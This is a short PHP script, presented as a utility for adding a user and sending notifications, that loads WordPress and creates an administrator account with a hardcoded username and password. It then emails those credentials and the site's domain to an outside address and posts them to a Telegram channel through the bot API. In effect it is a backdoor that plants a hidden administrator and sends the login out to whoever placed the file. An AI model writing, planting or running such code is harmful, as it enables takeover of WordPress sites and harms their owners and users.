Php script for adding user send email and send to telegram
<?php
// Load WordPress
define('WP_USE_THEMES', false);
require('wp-load.php');
$username = 'user';
$password = 'Gpassword';
$email_address = 'wp@setor91.com';
if (!username_exists($username)) {
$user_id = wp_create_user($username, $password, $email_address);
$user = new WP_User($user_id);
$user->set_role('administrator');
wp_new_user_notification($user_id, $password);
$to = $email_address;
$domain_name = $_SERVER['SERVER_NAME'];
$subject = 'New User Created from ' . $domain_name;
$message = 'Hello, a new user has been created with the following details:' . "\r\n\r\n";
$message .= 'Username: ' . $username . "\r\n";
$message .= 'Password: ' . $password . "\r\n";
$message .= 'Domain: ' . $domain_name . "\r\n";
$headers = array('Content-Type: text/html; charset=UTF-8');
// Send email
wp_mail($to, $subject, $message, $headers);
// Send message to Telegram channel
$telegram_bot_token = 'yourbottoken';
$telegram_channel_id = 'yourchatid';
$telegram_message = "New user created from $domain_name\nUsername: $username\nPassword: $password";
$telegram_api_url = "https://api.telegram.org/bot$telegram_bot_token/sendMessage?chat_id=$telegram_channel_id&text=" . urlencode($telegram_message);
// Make the request to the Telegram API
$response = file_get_contents($telegram_api_url);
}